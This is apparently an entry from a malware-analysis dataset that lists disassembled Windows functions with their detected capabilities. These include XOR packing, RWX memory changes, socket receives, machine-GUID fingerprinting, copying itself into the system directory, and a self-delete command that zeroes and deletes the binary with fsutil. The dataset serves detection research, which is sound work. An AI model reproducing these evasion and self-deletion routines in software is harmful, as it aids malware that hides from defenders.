joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4032f9
Capabilities:
Hide graphical window

Disassembly:
mov eax, 0x411484
call fcn.00410d90
sub esp, 0xc
push esi
mov esi, ecx
push edi
push dword [ebp + 8]
lea edi, [esi + 0x68]
lea ecx, [edi + 0xc]
call fcn.00401e46
push 0
push 0x1f4
mov ecx, edi
call fcn.00405fe4
lea eax, [ebp - 0x18]
push 0x45
push eax
call fcn.00405e3f
push dword [eax]
and dword [ebp - 4], 0
push dword [esi + 0x6c]
call fcn.00405e5f
push dword [ebp - 0x18]
call fcn.0040391b
pop ecx
push 1
push dword [esi + 0x6c]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0xc]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x404696
Capabilities:
Set file attributes

Disassembly:
push dword [esp + 8]
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
setne al
ret 8

Function at 0x4046be
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x417660], 0
jne 0x4046f5
push ebx
lea eax, [ebp - 0xc]
push dword [ebp + 8]
push eax
call fcn.0040470a
push dword [ebp + 0xc]
mov eax, dword [eax]
push eax
call fcn.00404696
push dword [ebp - 0xc]
mov bl, al
call fcn.0040391b
pop ecx
mov al, bl
pop ebx
jmp 0x404706
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne al
leave
ret 8

Function at 0x40475c
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x417660], 0
jne 0x40478f
push ebx
lea eax, [ebp - 0xc]
push dword [ebp + 8]
push eax
call fcn.0040470a
push dword [eax]
call fcn.004046ac
push dword [ebp - 0xc]
mov bl, al
call fcn.0040391b
pop ecx
mov al, bl
pop ebx
jmp 0x40479d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
leave
ret 4

Function at 0x4047b5
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x417660], 0
jne 0x4047e8
push ebx
lea eax, [ebp - 0xc]
push dword [ebp + 8]
push eax
call fcn.0040470a
push dword [eax]
call fcn.004047a1
push dword [ebp - 0xc]
mov bl, al
call fcn.0040391b
pop ecx
mov al, bl
pop ebx
jmp 0x4047f8
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne al
leave
ret 4

Function at 0x404a21
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x417660], 0
jne 0x404a54
push ebx
lea eax, [ebp - 0xc]
push dword [ebp + 8]
push eax
call fcn.0040470a
push dword [eax]
call fcn.00404a00
push dword [ebp - 0xc]
mov bl, al
call fcn.0040391b
pop ecx
mov al, bl
pop ebx
jmp 0x404a70
push 0
push dword [ebp + 8]
call fcn.004046be
test al, al
je 0x404a70
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne al
leave
ret 4
Function at 0x405010
Capabilities:
Delete file

Disassembly:
mov eax, 0x4117c4
call fcn.00410d90
sub esp, 0x10
push ebx
push esi
lea ecx, [ebp - 0x1c]
call fcn.004050ca
mov esi, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 4], ebx
push esi
lea ecx, [ebp - 0x1c]
push dword [ebp + 8]
call fcn.00404f61
test al, al
je 0x4050a7
push dword [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x405092
push dword [esi]
call fcn.004056d6
test al, al
jne 0x40506e
push dword [esi]
call fcn.004047a1
test al, al
jne 0x405090
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4050a7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00404fec
push dword [ebp - 0x18]
call fcn.0040391b
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.004050ca
mov dword [ebp - 4], ebx
jmp 0x40502f
mov bl, 1
lea ecx, [ebp - 0x1c]
call fcn.00404fec
push dword [ebp - 0x18]
call fcn.0040391b
pop ecx
mov al, bl
jmp 0x4050ba
lea ecx, [ebp - 0x1c]
call fcn.00404fec
push dword [ebp - 0x18]
call fcn.0040391b
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0x40554e
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x411830
call fcn.00410d90
sub esp, 0x18
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 1
mov eax, dword [esi]
push 0
mov dword [edi], eax
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 8]
mov dword [edi + 8], eax
mov eax, dword [esi + 0xc]
mov dword [edi + 0xc], eax
mov eax, dword [esi + 0x10]
mov dword [edi + 0x10], eax
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
mov eax, dword [esi + 0x18]
push 0
mov dword [edi + 0x18], eax
push dword [esi + 0x1c]
call fcn.00410f40
mov ecx, dword [esi + 0x20]
xor ebx, ebx
add eax, ecx
lea ecx, [ebp - 0x18]
mov dword [edi + 0x20], eax
lea eax, [esi + 0x2c]
adc edx, ebx
push eax
mov dword [edi + 0x24], edx
call fcn.00403a2c
and dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
neg eax
sbb eax, eax
inc eax
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00405607
push eax
lea ecx, [edi + 0x30]
mov byte [ebp - 4], 1
call fcn.00401e46
push dword [ebp - 0x24]
call fcn.0040391b
push dword [ebp - 0x18]
call fcn.0040391b
mov eax, dword [esi + 0x24]
pop ecx
pop ecx
mov dword [edi + 0x28], eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0x4058ac
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push esi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4058d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4058d2
xor al, al
jmp 0x4058f2
push 1
push 0
push 0
push dword [ebp - 4]
call fcn.00410f40
mov ecx, eax
xor eax, eax
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4
Function at 0x4052dc
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [ebp + 8]
push esi
push ebx
call fcn.0040557d
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], eax
test cl, 8
je 0x405312
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x42f0a8], eax
jmp 0x405497
mov dword [ebp + 8], ecx
push edi
and dword [ebp + 8], 1
je 0x40532d
test eax, eax
je 0x405442
test cl, 2
je 0x405442
mov esi, 0x42b490
push ebx
push esi
call fcn.004059a4
cmp dword [ebp + 8], 0
je 0x40534c
push 0x4092ec
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x405352
push ebx
call fcn.004054e4
push 0x409010
push ebx
call sub.KERNEL32.dll_lstrcatA
push ebx
call sub.KERNEL32.dll_lstrlenA
mov edi, eax
lea eax, [ebp - 0x148]
push eax
push esi
add edi, ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x405438
lea eax, [ebp - 0x11c]
push 0x3f
push eax
lea esi, [ebp - 0x11c]
call fcn.004054c8
cmp byte [eax], 0
je 0x4053a3
cmp byte [ebp - 0x18], 0
je 0x4053a3
lea esi, [ebp - 0x18]
cmp byte [esi], 0x2e
jne 0x4053b9
mov al, byte [esi + 1]
test al, al
je 0x405417
cmp al, 0x2e
jne 0x4053b9
cmp byte [esi + 2], 0
je 0x405417
push esi
push edi
call fcn.004059a4
test byte [ebp - 0x148], 0x10
je 0x4053de
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405417
push dword [ebp + 0xc]
push ebx
call fcn.004052dc
jmp 0x405417
push ebx
call fcn.00405661
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40540f
test byte [ebp + 0xc], 4
je 0x405407
push ebx
push 0xfffffffffffffff1
call fcn.00404d69
push 0
push ebx
call fcn.004056f7
jmp 0x405417
inc dword [0x42f0a8]
jmp 0x405417
push ebx
push 0xfffffffffffffff2
call fcn.00404d69
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405381
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405442
and byte [edi - 1], 0
xor esi, esi
pop edi
cmp dword [ebp + 8], esi
je 0x405497
cmp dword [ebp - 8], esi
jne 0x405457
inc dword [0x42f0a8]
jmp 0x405497
push ebx
call fcn.00405c6c
test eax, eax
je 0x405497
push ebx
call fcn.0040549d
push ebx
call fcn.00405661
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x40548f
test byte [ebp + 0xc], 4
je 0x40544f
push ebx
push 0xfffffffffffffff1
call fcn.00404d69
push esi
push ebx
call fcn.004056f7
jmp 0x405497
push ebx
push 0xffffffffffffffe5
call fcn.00404d69
pop esi
pop ebx
leave
ret 8
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x54363ac5
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, str.y_i
mov ebx, 0x42e3d0
nop
mov ecx, 0x213921d9
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x402155
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
or eax, 0xffffffff
cmp dword [esp + 0xc], esi
jbe 0x402191
push edi
mov ecx, dword [esp + 0xc]
movzx ecx, byte [esi + ecx]
movzx edx, al
push 8
xor ecx, edx
shr eax, 8
pop edi
mov dl, cl
shr ecx, 1
and dl, 1
je 0x402184
xor ecx, 0xedb88320
dec edi
jne 0x402175
xor eax, ecx
inc esi
cmp esi, dword [esp + 0x10]
jb 0x402162
pop edi
not eax
pop esi
ret

Function at 0x40242b
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebx
push esi
xor bl, bl
xor esi, esi
cmp dword [0x40a230], 0xffffffff
jne 0x402462
push esi
push esi
push str.bcrypt.dll
mov dword [0x40a230], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
cmp eax, esi
je 0x402462
push str.BCryptGenRandom
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40a230], eax
mov eax, dword [0x40a230]
cmp eax, esi
je 0x402482
push 2
push dword [esp + 0x14]
push dword [esp + 0x14]
push esi
call eax
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
jne 0x4024c6
cmp dword [0x40a004], 0xffffffff
jne 0x4024a9
push 0xf0000040
push 1
push esi
push esi
push 0x40a004
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x4024a9
mov dword [0x40a004], esi
mov eax, dword [0x40a004]
cmp eax, esi
je 0x4024c6
push dword [esp + 0xc]
push dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
setne bl
pop esi
mov al, bl
pop ebx
ret

Function at 0x4024f5
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
xor esi, esi
xor edi, edi
mov dword [ebp - 4], eax
cmp dword [ebp + 8], esi
jbe 0x402560
mov eax, dword [ebp + 8]
push esi
sub eax, edi
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, esi
jg 0x402556
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x402560
push esi
push esi
push esi
lea eax, [ebp - 0x108]
push eax
push esi
mov dword [ebp - 0x108], 1
mov dword [ebp - 0x104], ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jne 0x402560
jmp 0x40255b
add edi, eax
add dword [ebp - 4], eax
cmp edi, dword [ebp + 8]
jb 0x40250c
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x402566
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push 2
mov ebx, eax
push 1
lea eax, [ebp - 5]
push eax
push ebx
xor esi, esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4025e3
push 0x18
lea eax, [ebp - 0x20]
call fcn.004024f5
pop ecx
cmp eax, 0x18
jne 0x4025e3
mov edi, dword [ebp - 0x20]
call fcn.00402307
mov esi, eax
test esi, esi
je 0x4025e3
push dword [ebp - 0x20]
call fcn.004024f5
pop ecx
cmp eax, dword [ebp - 0x20]
jne 0x4025da
push dword [ebp - 0x20]
lea eax, [ebp - 0x18]
push esi
push eax
mov eax, esi
call fcn.004026eb
mov edi, dword [ebp - 0x20]
push edi
push esi
call fcn.00402155
add esp, 0x14
cmp dword [ebp - 0x1c], eax
jne 0x4025da
mov eax, dword [ebp + 8]
mov dword [eax], edi
jmp 0x4025e3
push esi
call fcn.004023f0
pop ecx
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x402ea3
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x180
push ebx
xor ebx, ebx
cmp byte [0x40a2f8], bl
jne 0x403003
lea eax, [ebp - 0x180]
push eax
push ebx
push ebx
push 0x24
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x403003
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push edi
lea eax, [ebp - 0x180]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
jmp 0x402f15
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
test eax, eax
je 0x402f28
lea eax, [ebp - 0x180]
push eax
call esi
push 0x64
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x180]
push eax
call edi
test eax, eax
je 0x402eee
cmp byte [ebp - 0x72], 0x7b
jne 0x402f31
mov byte [ebp - 0x4c], bl
lea eax, [ebp - 0x72]
push eax
push dword [0x42a578]
lea eax, [ebp - 4]
push 0x407390
push eax
call fcn.00402b5a
add esp, 0x10
test eax, eax
je 0x403001
lea eax, [ebp - 0x18]
push eax
push 0x20119
push ebx
push str.SOFTWAREMicrosoftCryptography
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402f80
lea eax, [ebp - 0x18]
push eax
call fcn.00402774
pop ecx
mov esi, eax
jmp 0x402f82
xor esi, esi
cmp esi, ebx
je 0x402f9e
push esi
push 0x4073f0
push ebx
lea ecx, [ebp - 4]
call fcn.00402bab
push esi
call fcn.004023f0
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call fcn.00402e15
pop ecx
pop ecx
test al, al
je 0x402ff8
movzx eax, byte [ebp - 5]
push eax
movzx eax, byte [ebp - 6]
push eax
movzx eax, byte [ebp - 7]
push eax
movzx eax, byte [ebp - 8]
push eax
movzx eax, byte [ebp - 9]
push eax
movzx eax, byte [ebp - 0xa]
push eax
movzx eax, byte [ebp - 0xb]
push eax
movzx eax, byte [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push str._08X__04X__04X__02X_02X__02X_02X_02X_02X_02X_02X
push 0x40a2f8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x34
push dword [ebp - 4]
call fcn.004023f0
pop ecx
pop edi
pop esi
mov eax, 0x40a2f8
pop ebx
leave
ret
Function at 0x40333d
Capabilities:
Create process on windows
Get common file path
Move file
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
push ebx
push esi
call fcn.00405da5
xor ebx, ebx
mov byte [ebp - 0xc], al
cmp byte [ebp + 8], bl
je 0x4033ad
cmp al, bl
je 0x403387
lea eax, [ebp - 0x254]
push eax
push ecx
push 1
call fcn.00403a42
pop ecx
pop ecx
push eax
call fcn.00404e84
pop ecx
pop ecx
test al, al
je 0x4033ad
lea eax, [ebp - 0x254]
push eax
call fcn.00404e3f
pop ecx
jmp 0x4033ad
cmp word [0x42a7b0], bx
jne 0x4033a3
push 0x42a7b0
push ebx
push ebx
push 0x8007
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
call fcn.00404b53
call fcn.004048ee
push 6
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
mov esi, 0x41a578
push esi
push 0x3005
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov dword [ebp - 8], ebx
cmp byte [ebp + 8], bl
je 0x4033ee
push dword [ebp - 0xc]
call fcn.00403a42
pop ecx
push eax
push esi
push str._d__c_ping__n_2_127.0.0.1___NUL__fsutil_file_setzerodata_offset0_length524288___s___rmdir___s___s__q___NUL__exit
jmp 0x4033f5
push esi
push esi
push str._d__c_ping__n_2_127.0.0.1___NUL__fsutil_file_setzerodata_offset0_length524288___s___del___s____NUL__exit
lea eax, [ebp - 8]
push eax
call fcn.00402b0d
mov esi, dword [ebp - 8]
add esp, 0x10
cmp esi, ebx
je 0x40344a
push 0x38
lea eax, [ebp - 0x44]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x48], 0x3c
mov dword [ebp - 0x44], 0xc600
mov dword [ebp - 0x3c], str.open
mov dword [ebp - 0x38], str._COMSPEC_
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push esi
call fcn.004023f0
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x403452
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0x4078b8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x40a360
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or eax, 6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x208]
push esi
push eax
call fcn.00405967
pop ecx
pop ecx
pop esi
leave
ret
Function at 0x403560
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push dword [ebp + 8]
mov byte [ebp - 1], 0
call fcn.00402dd3
pop ecx
test al, al
je 0x403580
mov byte [ebp - 1], 1
jmp 0x4035be
cmp byte [ebp + 8], 0
push esi
mov esi, 0x40a360
jne 0x4035d4
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4035bd
push 0
push 0
lea eax, [ebp - 1]
push eax
push 0x4034a3
push 4
push 1
lea eax, [ebp - 8]
push eax
push esi
mov dword [ebp - 8], str..exe
call fcn.004055ef
add esp, 0x20
pop esi
mov al, byte [ebp - 1]
leave
ret
lea eax, [ebp - 0x210]
push eax
call fcn.00404c6c
pop ecx
test al, al
jne 0x4035e9
lea eax, [ebp - 0x210]
push eax
push esi
call fcn.00404e84
pop ecx
pop ecx
test al, al
jne 0x4035c3
jmp 0x4035bd
mov byte [ebp - 1], 1
jmp 0x4035bd

Function at 0x4035ef
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x403763
add eax, eax
lea ecx, [ebp + eax - 0x21c]
mov dword [ebp - 0x10], ecx
lea ecx, [ebp + eax - 0x216]
mov dword [ebp - 0xc], ecx
lea edi, [ebp + eax - 0x21a]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov word [ecx], ax
push str.__.exe
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
pop eax
call fcn.004024cb
add eax, 0x61
mov word [edi], ax
push 0x19
pop eax
call fcn.004024cb
mov ecx, dword [ebp - 0xc]
add eax, 0x61
mov word [ecx], ax
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403632
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor esi, esi
push dword [esi + 0x40a240]
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403632
add esi, 4
cmp esi, 0xa8
jb 0x403695
lea eax, [ebp - 0x440]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
test eax, eax
je 0x403632
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
test eax, eax
je 0x40370a
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.00405876
pop ecx
pop ecx
mov esi, eax
jmp 0x40370c
xor esi, esi
test esi, esi
je 0x403632
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push str.install
push esi
call ebx
test eax, eax
jne 0x403742
push str.setup
push esi
call ebx
test eax, eax
jne 0x403742
push str.update
push esi
call ebx
test eax, eax
jne 0x403742
xor bl, bl
jmp 0x403744
mov bl, 1
push esi
call fcn.004023f0
pop ecx
test bl, bl
jne 0x403632
lea eax, [ebp - 0x21c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403768
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ebx, eax
test ebx, ebx
je 0x403936
push dword [ebp + 8]
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0xc]
push 0x4078f8
push eax
mov byte [ebp - 5], 0
call fcn.00402b0d
add esp, 0x10
test eax, eax
je 0x403936
lea eax, [ebp - 0x474]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x4037d7
push eax
mov byte [ebp - 5], 1
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 0xc]
call fcn.004023f0
cmp byte [ebp - 5], 0
pop ecx
je 0x403936
mov edi, 0xfffe
call fcn.00402307
mov dword [ebp - 0xc], eax
test eax, eax
je 0x403936
and dword [ebp - 0x10], 0
push 5
pop eax
call fcn.004024cb
add eax, 2
mov dword [ebp - 0x1c], eax
cmp eax, 6
ja 0x403803
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x67c]
push str.___s
push eax
call esi
lea eax, [ebx + ebx]
lea ecx, [ebp + eax - 0x224]
mov dword [ebp - 0x18], ecx
lea ecx, [ebp + eax - 0x21e]
add esp, 0xc
mov dword [ebp - 0x14], ecx
lea edi, [ebp + eax - 0x222]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x18]
xor eax, eax
mov word [ecx], ax
lea eax, [ebp - 0x67c]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
pop eax
call fcn.004024cb
add eax, 0x61
mov word [edi], ax
push 0x19
pop eax
call fcn.004024cb
mov ecx, dword [ebp - 0x14]
add eax, 0x61
mov word [ecx], ax
lea eax, [ebp - 0x474]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403921
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x448]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
push 0x19
pop eax
call fcn.004024cb
push dword [ebp + 8]
add eax, 0x61
movzx eax, ax
push eax
lea eax, [ebp + ebx*2 - 0x450]
push str._c_s
push eax
call esi
lea eax, [ebp - 0x448]
push eax
push 0x40a360
push str._s_s
push dword [ebp - 0xc]
call esi
add esp, 0x20
push 1
push dword [ebp - 0xc]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x403921
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x1c]
jne 0x40384e
push dword [ebp - 0xc]
call fcn.004023f0
pop ecx
pop edi
pop esi
pop ebx
leave
ret